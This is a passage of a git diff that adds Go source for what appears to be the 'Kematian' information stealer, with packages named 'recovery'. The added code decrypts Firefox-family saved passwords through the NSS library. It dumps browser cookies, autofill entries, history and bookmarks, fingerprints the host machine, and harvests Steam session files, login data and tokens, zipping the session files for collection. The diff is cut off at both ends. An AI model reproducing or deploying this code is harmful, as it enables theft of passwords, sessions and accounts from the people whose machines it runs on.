== "" || seen[f] { + continue + } + seen[f] = true + out = append(out, f) + } + sort.Strings(out) + return out +} + +// ── GPU ─────────────────────────────────────────────────────────── + +func gpuName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`, + registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return "" + } + defer k.Close() + + subs, _ := k.ReadSubKeyNames(-1) + for _, sub := range subs { + if !strings.HasPrefix(sub, "0") { + continue + } + sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE) + if err != nil { + continue + } + desc, _, _ := sk.GetStringValue("DriverDesc") + sk.Close() + desc = strings.TrimSpace(desc) + if desc == "" || strings.Contains(desc, "Microsoft Basic Display") || + strings.Contains(desc, "Microsoft Remote Display") { + continue + } + return desc + } + return "" +} + +// ── Installed browsers ──────────────────────────────────────────── + +var browserUpdateGUIDs = []struct { + name string + guid string +}{ + {"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`}, + {"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`}, + {"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`}, +} + +func installedBrowsers() []Browser { + var out []Browser + for _, b := range browserUpdateGUIDs { + ver := browserVersion(b.guid) + if ver == "" { + continue + } + out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)}) + } + return out +} + +func browserVersion(guid string) string { + for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE) + if err != nil { + continue + } + pv, _, err := k.GetStringValue("pv") + k.Close() + if err == nil && pv != "" { + return pv + } + } + return "" +} + +func browserExePath(name string) string { + var paths []string + pf := os.Getenv("ProgramFiles") + pf86 := os.Getenv("ProgramFiles(x86)") + switch name { + case "Chrome": + paths = []string{ + filepath.Join(pf, `Google\Chrome\Application\chrome.exe`), + filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`), + } + case "Edge": + paths = []string{ + filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`), + filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`), + } + case "Brave": + paths = []string{ + filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`), + filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`), + } + } + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p + } + } + return "" +} + +// ── User agent ──────────────────────────────────────────────────── + +func userAgent(browsers []Browser) string { + order := []string{"Chrome", "Edge", "Brave"} + version := "" + for _, want := range order { + for _, b := range browsers { + if b.Name == want && b.Version != "" { + version = b.Version + break + } + } + if version != "" { + break + } + } + if version == "" { + return "" + } + return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version) +} + +// ── Local IPs ───────────────────────────────────────────────────── + +func localIPs() []string { + ifaces, err := net.Interfaces() + if err != nil { + return nil + } + var ips []string + for _, iface := range ifaces { + addrs, err := iface.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + ip, _, err := net.ParseCIDR(addr.String()) + if err != nil { + continue + } + if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() { + s := v4.String() + if !containsStr(ips, s) { + ips = append(ips, s) + } + } + } + } + return ips +} + +func containsStr(s []string, v string) bool { + for _, x := range s { + if x == v { + return true + } + } + return false +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/js.go b/Kematian-Standalone/native/recovery/fingerprint/js.go new file mode 100644 index 0000000..e264cc6 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/js.go @@ -0,0 +1,11 @@ +package fingerprint + +type JSResult struct { + Canvas string `json:"canvas,omitempty"` + WebGLRenderer string `json:"webglRenderer,omitempty"` + WebGLVendor string `json:"webglVendor,omitempty"` + WebGLVersion string `json:"webglVersion,omitempty"` + WebGLParams map[string]interface{} `json:"webglParams,omitempty"` + WebGLExtensions []string `json:"webglExtensions,omitempty"` + Audio float64 `json:"audio,omitempty"` +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/log.go b/Kematian-Standalone/native/recovery/fingerprint/log.go new file mode 100644 index 0000000..9024d27 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/log.go @@ -0,0 +1,7 @@ +package fingerprint + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[fingerprint] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/types.go b/Kematian-Standalone/native/recovery/fingerprint/types.go new file mode 100644 index 0000000..16e566c --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/types.go @@ -0,0 +1,32 @@ +package fingerprint + +// Browser is an installed browser and its version. +type Browser struct { + Name string `json:"name"` + Version string `json:"version"` + Path string `json:"path,omitempty"` +} + +// Result is the collected native fingerprint. +type Result struct { + UserAgent string `json:"userAgent"` + Platform string `json:"platform"` + OS string `json:"os"` + OSArch string `json:"osArch"` + Languages []string `json:"languages"` + HardwareConcurrency int `json:"hardwareConcurrency"` + DeviceMemory int `json:"deviceMemory"` + MaxTouchPoints int `json:"maxTouchPoints"` + ScreenWidth int `json:"screenWidth"` + ScreenHeight int `json:"screenHeight"` + AvailWidth int `json:"availWidth"` + AvailHeight int `json:"availHeight"` + ColorDepth int `json:"colorDepth"` + DevicePixelRatio float64 `json:"devicePixelRatio"` + Timezone string `json:"timezone"` + TimezoneOffset int `json:"timezoneOffset"` + Fonts []string `json:"fonts"` + GPU string `json:"gpu"` + Browsers []Browser `json:"browsers"` + LocalIPs []string `json:"localIps"` +} diff --git a/Kematian-Standalone/native/recovery/firefox/firefox.go b/Kematian-Standalone/native/recovery/firefox/firefox.go new file mode 100644 index 0000000..2e362ed --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/firefox.go @@ -0,0 +1,236 @@ +package firefox + +import ( + "database/sql" + "encoding/json" + "fmt" + "os" + "path/filepath" + "sync" + + "recovery/recovery/chromium" + "recovery/recovery/db" + "recovery/recovery/types" +) + +type firefoxLoginFile struct { + Logins []firefoxLogin `json:"logins"` +} + +type firefoxLogin struct { + Hostname string `json:"hostname"` + EncryptedUsername string `json:"encryptedUsername"` + EncryptedPassword string `json:"encryptedPassword"` +} + +var nssmu sync.Mutex + +func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.PasswordResult { + loginsPath := filepath.Join(profile.Path, "logins.json") + data, err := os.ReadFile(loginsPath) + if err != nil { + return nil + } + + var logins firefoxLoginFile + if err := json.Unmarshal(data, &logins); err != nil { + return nil + } + if len(logins.Logins) == 0 { + return nil + } + + nssmu.Lock() + defer nssmu.Unlock() + + results := nssDecryptLogins(profile.Path, cfg.Name, logins.Logins) + var out []types.PasswordResult + for _, r := range results { + if r.URL != "" && (r.Username != "" || r.Password != "") { + r.Browser = cfg.Name + r.Profile = profile.Name + out = append(out, r) + } + } + return out +} + +func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult { + dbPath := filepath.Join(profile.Path, "formhistory.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + + d, err := db.OpenDatabase(dbPath, pids) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT fieldname, value, timesUsed, firstUsed FROM moz_formhistory") + if err != nil { + rows2, err2 := d.Query("SELECT fieldname, value FROM moz_formhistory") + if err2 != nil { + return nil + } + defer rows2.Close() + var results []types.AutofillResult + for rows2.Next() { + var name, value sql.NullString + rows2.Scan(&name, &value) + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results + } + defer rows.Close() + + var results []types.AutofillResult + for rows.Next() { + var name, value sql.NullString + var timesUsed, firstUsed sql.NullInt64 + rows.Scan(&name, &value, ×Used, &firstUsed) + + var dateCreated int64 + if firstUsed.Int64 > 0 { + dateCreated = firstUsed.Int64 / 1000000 + } + + if name.String != "" { + results = append(results, types.AutofillResult{ + Name: name.String, + Value: value.String, + DateCreated: dateCreated, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} + +func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig) []types.CookieResult { + dbPath := filepath.Join(profile.Path, "cookies.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query("SELECT host, name, value, path, isSecure, isHttpOnly, expiry FROM moz_cookies") + if err != nil { + return nil + } + defer rows.Close() + + var results []types.CookieResult + for rows.Next() { + var host, name, value, path sql.NullString + var secure, httpOnly, expiry sql.NullInt64 + rows.Scan(&host, &name, &value, &path, &secure, &httpOnly, &expiry) + results = append(results, types.CookieResult{ + Host: host.String, + Name: name.String, + Value: value.String, + Path: path.String, + Secure: secure.Int64 != 0, + HTTPOnly: httpOnly.Int64 != 0, + ExpiresUTC: expiry.Int64, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + return results +} + +func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig) []types.HistoryResult { + dbPath := filepath.Join(profile.Path, "places.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + q := fmt.Sprintf( + `SELECT p.url, p.title, h.visit_date FROM moz_historyvisits h + JOIN moz_places p ON p.id = h.place_id + ORDER BY h.visit_date DESC LIMIT %d`, + chromium.HistoryLimit, + ) + rows, err := d.Query(q) + if err != nil { + return nil + } + defer rows.Close() + + var results []types.HistoryResult + for rows.Next() { + var url, title sql.NullString + var visitDate sql.NullInt64 + rows.Scan(&url, &title, &visitDate) + + var visitTimeUnix int64 + if visitDate.Int64 > 0 { + visitTimeUnix = visitDate.Int64 / 1000000 + } + if url.String != "" { + results = append(results, types.HistoryResult{ + URL: url.String, + Title: title.String, + VisitTimeUnix: visitTimeUnix, + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} + +func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult { + dbPath := filepath.Join(profile.Path, "places.sqlite") + if _, err := os.Stat(dbPath); err != nil { + return nil + } + d, err := db.OpenDatabase(dbPath, nil) + if err != nil { + return nil + } + defer d.Close() + + rows, err := d.Query(`SELECT b.title, p.url FROM moz_bookmarks b + JOIN moz_places p ON p.id = b.fk + WHERE b.type = 1 AND p.url != '' ORDER BY b.dateAdded DESC`) + if err != nil { + return nil + } + defer rows.Close() + + var results []types.BookmarkResult + for rows.Next() { + var title, url sql.NullString + rows.Scan(&title, &url) + if url.String != "" { + results = append(results, types.BookmarkResult{ + Name: title.String, + URL: url.String, + Type: "url", + Browser: cfg.Name, + Profile: profile.Name, + }) + } + } + return results +} diff --git a/Kematian-Standalone/native/recovery/firefox/log.go b/Kematian-Standalone/native/recovery/firefox/log.go new file mode 100644 index 0000000..d58d9ff --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/log.go @@ -0,0 +1,7 @@ +package firefox + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[firefox] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/firefox/nss_unix.go b/Kematian-Standalone/native/recovery/firefox/nss_unix.go new file mode 100644 index 0000000..0a30554 --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/nss_unix.go @@ -0,0 +1,163 @@ +//go:build !windows + +package firefox + +/* +#cgo LDFLAGS: -ldl +#include +#include +#include + +typedef struct { + unsigned int type; + unsigned char *data; + unsigned int len; +} SECItem; + +typedef int (*NSS_Init_Fn)(const char*); +typedef int (*NSS_Shutdown_Fn)(void); +typedef int (*PK11SDR_Decrypt_Fn)(SECItem*, SECItem*, void*); +typedef void (*PORT_Free_Fn)(void*); + +static void* load_nss(const char* path) { + return dlopen(path, RTLD_LAZY | RTLD_GLOBAL); +} + +static void close_nss(void* handle) { + if (handle) dlclose(handle); +} + +static int call_nss_init(void* handle, const char* profile) { + NSS_Init_Fn fn = (NSS_Init_Fn)dlsym(handle, "NSS_Init"); + if (!fn) return -1; + return fn(profile); +} + +static int call_nss_shutdown(void* handle) { + NSS_Shutdown_Fn fn = (NSS_Shutdown_Fn)dlsym(handle, "NSS_Shutdown"); + if (!fn) return -1; + return fn(); +} + +static int call_pk11sdr_decrypt(void* handle, SECItem* enc, SECItem* dec) { + PK11SDR_Decrypt_Fn fn = (PK11SDR_Decrypt_Fn)dlsym(handle, "PK11SDR_Decrypt"); + if (!fn) return -1; + return fn(enc, dec, NULL); +} + +static void call_port_free(void* handle, void* ptr) { + PORT_Free_Fn fn = (PORT_Free_Fn)dlsym(handle, "PORT_Free"); + if (fn) fn(ptr); +} +*/ +import "C" + +import ( + "encoding/base64" + "os" + "runtime" + "strings" + "unsafe" + + "recovery/recovery/types" +) + +var nssLibPaths = []string{ + // Linux paths + "/usr/lib/x86_64-linux-gnu/libnss3.so", + "/usr/lib64/libnss3.so", + "/usr/lib/libnss3.so", + "/usr/lib/firefox/libnss3.so", + "/usr/lib64/firefox/libnss3.so", + "/opt/firefox/libnss3.so", + "/opt/librewolf/libnss3.so", + "/snap/firefox/current/usr/lib/firefox/libnss3.so", + // macOS paths + "/Applications/Firefox.app/Contents/MacOS/libnss3.dylib", + "/Applications/LibreWolf.app/Contents/MacOS/libnss3.dylib", + "/Applications/Waterfox.app/Contents/MacOS/libnss3.dylib", + "/opt/homebrew/lib/libnss3.dylib", + "/usr/local/lib/libnss3.dylib", +} + +func findNSSLib() string { + suffix := ".so" + if runtime.GOOS == "darwin" { + suffix = ".dylib" + } + for _, p := range nssLibPaths { + if strings.HasSuffix(p, suffix) { + if _, err := os.Stat(p); err == nil { + return p + } + } + } + name := "libnss3.so" + if runtime.GOOS == "darwin" { + name = "libnss3.dylib" + } + return name +} + +func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult { + libPath := findNSSLib() + cLibPath := C.CString(libPath) + defer C.free(unsafe.Pointer(cLibPath)) + + handle := C.load_nss(cLibPath) + if handle == nil { + logf("firefox NSS: failed to load %s", libPath) + return nil + } + defer C.close_nss(handle) + + cProfile := C.CString(profilePath) + defer C.free(unsafe.Pointer(cProfile)) + + ret := C.call_nss_init(handle, cProfile) + if ret != 0 { + logf("firefox NSS: NSS_Init failed for %s", profilePath) + return nil + } + defer C.call_nss_shutdown(handle) + + var results []types.PasswordResult + for _, login := range logins { + username := nssDecryptUnix(handle, login.EncryptedUsername) + password := nssDecryptUnix(handle, login.EncryptedPassword) + results = append(results, types.PasswordResult{ + URL: login.Hostname, + Username: username, + Password: password, + }) + } + + return results +} + +func nssDecryptUnix(handle unsafe.Pointer, b64 string) string { + b64 = strings.TrimSpace(b64) + if b64 == "" { + return "" + } + + encBytes, err := base64.StdEncoding.DecodeString(b64) + if err != nil || len(encBytes) == 0 { + return "" + } + + var encItem C.SECItem + encItem.data = (*C.uchar)(unsafe.Pointer(&encBytes[0])) + encItem.len = C.uint(len(encBytes)) + + var decItem C.SECItem + ret := C.call_pk11sdr_decrypt(handle, &encItem, &decItem) + if ret != 0 || decItem.data == nil || decItem.len == 0 { + return "" + } + + result := C.GoStringN((*C.char)(unsafe.Pointer(decItem.data)), C.int(decItem.len)) + C.call_port_free(handle, unsafe.Pointer(decItem.data)) + + return result +} diff --git a/Kematian-Standalone/native/recovery/firefox/nss_windows.go b/Kematian-Standalone/native/recovery/firefox/nss_windows.go new file mode 100644 index 0000000..a46179f --- /dev/null +++ b/Kematian-Standalone/native/recovery/firefox/nss_windows.go @@ -0,0 +1,138 @@ +//go:build windows + +package firefox + +import ( + "encoding/base64" + "os" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "recovery/recovery/types" +) + +type secItem struct { + ItemType uint32 + Data *byte + Len uint32 +} + +var nssInstallDirs = map[string][]string{ + "Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`}, + "LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`}, + "Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`}, +} + +func findNSSDir(browserName string) string { + dirs := nssInstallDirs[browserName] + if dirs == nil { + dirs = nssInstallDirs["Firefox"] + } + for _, dir := range dirs { + if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil { + return dir + } + } + for _, dirs := range nssInstallDirs { + for _, dir := range dirs { + if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil { + return dir + } + } + } + return "" +} + +func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult { + nssDir := findNSSDir(browserName) + if nssDir == "" { + logf("firefox NSS: nss3.dll not found for %s", browserName) + return nil + } + + oldPath := os.Getenv("PATH") + os.Setenv("PATH", nssDir+";"+oldPath) + defer os.Setenv("PATH", oldPath) + + nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll")) + if err != nil { + logf("firefox NSS: failed to load nss3.dll: %v", err) + return nil + } + defer nss3dll.Release() + + nssInit, err := nss3dll.FindProc("NSS_Init") + if err != nil { + return nil + } + pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt") + if err != nil { + return nil + } + nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown") + portFree, _ := nss3dll.FindProc("PORT_Free") + + profileBytes, err := syscall.BytePtrFromString(profilePath) + if err != nil { + return nil + } + + ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes))) + if ret != 0 { + logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr) + return nil + } + defer func() { + if nssShutdown != nil { + nssShutdown.Call() + } + }() + + var results []types.PasswordResult + for _, login := range logins { + username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername) + password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword) + results = append(results, types.PasswordResult{ + URL: login.Hostname, + Username: username, + Password: password, + }) + } + + return results +} + +func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string { + b64 = strings.TrimSpace(b64) + if b64 == "" { + return "" + } + + encBytes, err := base64.StdEncoding.DecodeString(b64) + if err != nil || len(encBytes) == 0 { + return "" + } + + encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))} + var decItem secItem + + ret, _, _ := pk11SDRDecrypt.Call( + uintptr(unsafe.Pointer(&encItem)), + uintptr(unsafe.Pointer(&decItem)), + 0, + ) + if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 { + return "" + } + + decBytes := unsafe.Slice(decItem.Data, decItem.Len) + result := string(decBytes) + + if portFree != nil { + portFree.Call(uintptr(unsafe.Pointer(decItem.Data))) + } + + return result +} diff --git a/Kematian-Standalone/native/recovery/gaming_stub.go b/Kematian-Standalone/native/recovery/gaming_stub.go new file mode 100644 index 0000000..1c4ef37 --- /dev/null +++ b/Kematian-Standalone/native/recovery/gaming_stub.go @@ -0,0 +1,228 @@ +//go:build !windows + +package recovery + +import ( + "os" + "path/filepath" + "runtime" + "strings" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +func pathExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func ScanGaming() *types.GamingResult { + result := &types.GamingResult{ + Steam: scanSteamUnix(), + } + if result.Steam == nil { + return nil + } + return result +} + +func steamBasePaths() []string { + home, _ := os.UserHomeDir() + if runtime.GOOS == "darwin" { + return []string{ + filepath.Join(home, "Library", "Application Support", "Steam"), + } + } + return []string{ + filepath.Join(home, ".steam", "steam"), + filepath.Join(home, ".local", "share", "Steam"), + filepath.Join(home, ".steam", "debian-installation"), + } +} + +func scanSteamUnix() *types.SteamResult { + var steamPath string + for _, p := range steamBasePaths() { + if pathExists(p) { + steamPath = p + break + } + } + if steamPath == "" { + return nil + } + + result := &types.SteamResult{SteamPath: steamPath} + + configPath := filepath.Join(steamPath, "config", "loginusers.vdf") + if data, err := os.ReadFile(configPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) { + val := vdfValueUnix(line) + if val != "" { + result.Account = val + result.AutoLogin = val + } + } + if strings.HasPrefix(line, `"RememberPassword"`) { + result.RememberPW = vdfValueUnix(line) == "1" + } + } + } + + if entries, err := os.ReadDir(steamPath); err == nil { + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + result.SSFNFiles = append(result.SSFNFiles, e.Name()) + } + } + } + + seenGames := make(map[string]bool) + scanSteamLibraryUnix(steamPath, result, seenGames) + + if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 { + return nil + } + return result +} + +func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) { + libraryFolders := []string{steamPath} + + steamappsRoot := filepath.Join(steamPath, "steamapps") + vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") + if data, err := os.ReadFile(vdfPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToLower(line), `"path"`) { + val := vdfValueUnix(line) + if val != "" && pathExists(val) && val != steamPath { + libraryFolders = append(libraryFolders, val) + } + } + } + } + + for _, lib := range libraryFolders { + libApps := filepath.Join(lib, "steamapps") + if !pathExists(libApps) { + continue + } + entries, _ := os.ReadDir(libApps) + for _, e := range entries { + if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { + continue + } + acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) + if err != nil || len(acfData) == 0 { + continue + } + acf := parseACFUnix(string(acfData)) + if acf["appid"] == "" || acf["name"] == "" { + continue + } + if !seenGames[acf["appid"]] { + seenGames[acf["appid"]] = true + result.Games = append(result.Games, types.GameInfo{ + ID: acf["appid"], + Name: acf["name"], + Installed: acf["StateFlags"] != "4", + }) + } + } + } +} + +func parseACFUnix(data string) map[string]string { + result := map[string]string{} + var inBlock bool + for _, line := range strings.Split(data, "\n") { + line = strings.TrimLeft(line, "\t ") + if line == "{" { + inBlock = true + continue + } + if line == "}" { + break + } + if !inBlock || line == "" { + continue + } + if strings.HasPrefix(line, `"`) { + key := vdfNthQuotedUnix(line, 0) + val := vdfNthQuotedUnix(line, 1) + if key != "" { + result[key] = val + } + } + } + return result +} + +func vdfValueUnix(line string) string { + return vdfNthQuotedUnix(line, 1) +} + +func vdfNthQuotedUnix(line string, n int) string { + count := 0 + i := 0 + for count <= n && i < len(line) { + start := strings.Index(line[i:], `"`) + if start == -1 { + return "" + } + start += i + 1 + end := strings.Index(line[start:], `"`) + if end == -1 { + if count == n { + return line[start:] + } + return "" + } + if count == n { + return line[start : start+end] + } + i = start + end + 1 + count++ + } + return "" +} + +const maxZipFile = 50 * 1024 * 1024 + +func ZipSteamSession(steamPath string) ([]byte, error) { + if steamPath == "" || !pathExists(steamPath) { + return nil, os.ErrNotExist + } + + var files []string + entries, _ := os.ReadDir(steamPath) + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { + files = append(files, filepath.Join(steamPath, e.Name())) + } + } + } + + configDir := filepath.Join(steamPath, "config") + for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { + p := filepath.Join(configDir, name) + if pathExists(p) { + files = append(files, p) + } + } + + if len(files) == 0 { + return nil, os.ErrNotExist + } + return ziputil.ZipFiles(files, filepath.Dir(steamPath)) +} + +func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist } +func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist } +func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist } +func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist } diff --git a/Kematian-Standalone/native/recovery/gaming_windows.go b/Kematian-Standalone/native/recovery/gaming_windows.go new file mode 100644 index 0000000..b84aaef --- /dev/null +++ b/Kematian-Standalone/native/recovery/gaming_windows.go @@ -0,0 +1,586 @@ +//go:build windows + +package recovery + +import ( + "encoding/hex" + "os" + "path/filepath" + "strings" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" + + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +func normLines(data string) []string { + return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n") +} + +func ScanGaming() *types.GamingResult { + result := &types.GamingResult{ + Steam: ScanSteam(), + BattleNet: ScanBattleNet(), + Epic: ScanEpic(), + Riot: ScanRiot(), + Uplay: ScanUplay(), + } + if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 { + return nil + } + return result +} + +func ScanSteam() *types.SteamResult { + result := &types.SteamResult{} + + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ) + if err != nil { + logf("[gaming] Steam registry key not found: %v", err) + return nil + } + defer k.Close() + + result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser") + remPw, _, _ := k.GetIntegerValue("RememberPassword") + result.RememberPW = remPw != 0 + + steamPath, _, _ := k.GetStringValue("SteamPath") + logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath)) + if steamPath == "" || !pathExists(steamPath) { + return nil + } + steamPath = filepath.FromSlash(steamPath) + result.SteamPath = steamPath + + if result.AutoLogin != "" { + result.Account = result.AutoLogin + } + + seenGames := make(map[string]bool) + scanSteamLibrary(steamPath, result, seenGames) + logf("[gaming] Steam library scan found %d games from manifests", len(result.Games)) + + appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ) + if err != nil { + logf("[gaming] Steam Apps registry key not found: %v", err) + } else { + defer appsKey.Close() + names, _ := appsKey.ReadSubKeyNames(0) + logf("[gaming] Steam Apps registry has %d sub-keys", len(names)) + for _, name := range names { + if seenGames[name] { + continue + } + subKey, err := registry.OpenKey(appsKey, name, registry.READ) + if err != nil { + continue + } + gameName, _, _ := subKey.GetStringValue("Name") + installed, _, _ := subKey.GetIntegerValue("Installed") + running, _, _ := subKey.GetIntegerValue("Running") + subKey.Close() + if gameName != "" { + seenGames[name] = true + result.Games = append(result.Games, types.GameInfo{ + ID: name, + Name: gameName, + Installed: installed == 1, + Running: running == 1, + }) + } + } + } + + if entries, err := os.ReadDir(steamPath); err == nil { + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + result.SSFNFiles = append(result.SSFNFiles, e.Name()) + } + } + } + + localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") + logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath)) + if pathExists(localVdfPath) { + tokens := extractSteamTokens(steamPath, localVdfPath) + if len(tokens) > 0 { + result.Token = strings.Join(tokens, "\n") + // Parse each token into its steamID + jwt pair (steamID is the part + // before the first dot), so it can be surfaced cleanly in the panel. + for _, tok := range tokens { + if dot := strings.Index(tok, "."); dot > 0 { + steamID := tok[:dot] + jwt := tok[dot+1:] + if steamID != "" && jwt != "" { + result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{ + SteamID: steamID, + Token: jwt, + }) + } + if result.Account == "" { + result.Account = steamID + } + } + } + } + } + + if result.Account == "" { + configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml") + if configBytes, err := os.ReadFile(configPath); err == nil { + content := string(configBytes) + if idx := strings.Index(content, `"PersonaName"`); idx > 0 { + start := strings.Index(content[idx:], `"`) + end := strings.Index(content[idx+start+1:], `"`) + if start > 0 && end > 0 { + result.Account = content[idx+start+1 : idx+start+1+end] + } + } + } + } + + return result +} + +func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) { + libraryFolders := []string{steamPath} + + steamappsRoot := filepath.Join(steamPath, "steamapps") + logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot)) + vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf") + logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath)) + if data, err := os.ReadFile(vdfPath); err == nil { + for _, line := range normLines(string(data)) { + line = strings.TrimSpace(line) + if strings.HasPrefix(strings.ToLower(line), `"path"`) { + val := vdfValue(line) + if val != "" { + libraryPath := filepath.FromSlash(val) + libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator)) + if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) { + libraryFolders = append(libraryFolders, libraryPath) + } + } + } + } + } + + logf("[gaming] Steam library folders to scan: %v", libraryFolders) + for _, lib := range libraryFolders { + libApps := filepath.Join(lib, "steamapps") + logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps)) + if !pathExists(libApps) { + continue + } + + entries, _ := os.ReadDir(libApps) + logf("[gaming] Steam steamapps dir has %d entries", len(entries)) + for _, e := range entries { + if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") { + continue + } + acfData, err := os.ReadFile(filepath.Join(libApps, e.Name())) + if err != nil || len(acfData) == 0 { + continue + } + acf := parseACF(string(acfData)) + if acf["appid"] == "" || acf["name"] == "" { + continue + } + installed := acf["StateFlags"] != "4" + if !seenGames[acf["appid"]] { + seenGames[acf["appid"]] = true + 